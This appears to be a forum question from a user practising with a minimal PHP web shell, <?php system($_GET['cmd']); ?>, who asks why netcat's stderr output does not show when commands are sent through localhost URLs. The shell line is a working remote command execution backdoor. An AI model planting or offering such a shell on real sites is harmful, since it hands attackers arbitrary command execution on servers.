title: View stderr output in simple PHP web shell
body: <p>I'm not sure if this is more a PHP question then a Linux question but here goes.</p>
  
  <p>I am practicing with web shells, and have a very simple one that looks like this;</p>
  
  <pre><code>&lt;?php system($_GET['cmd']); ?&gt;
  </code></pre>
  
  <p>In my terminal I can view the help file for netcat, like so;</p>
  
  <pre><code>nc -h
  </code></pre>
  
  <p>I believe this outputs to stderr. In my terminal, I can redirect the output to a file like so;</p>
  
  <pre><code>nc &amp;&gt; blah
  </code></pre>
  
  <p>Then I can <em>cat blah</em>, and see the results. However, if I try the same trick through the php webshell no file is created. I.e. running these commands does nothing;</p>
  
  <pre><code>http://localhost/shell.php?cmd=nc -h &amp;&gt; blah
  #encoded
  http://localhost/shell.php?cmd=nc%20-h%20%26%3E%20blah
  </code></pre>
  
  <p>Why is it failing in my webshell and what tweak do I need to make in my syntax to have it work? I can issue commands (for example, <em>ls</em> or <em>ls --version</em>), and see standard output just fine.</p>
  
  <p>Ultimately, I'd like to avoid writing to a file altogether, and just see ALL output of a command in my webshell, but I figured this would be an easier first step. Suggestions for the later are welcome!</p>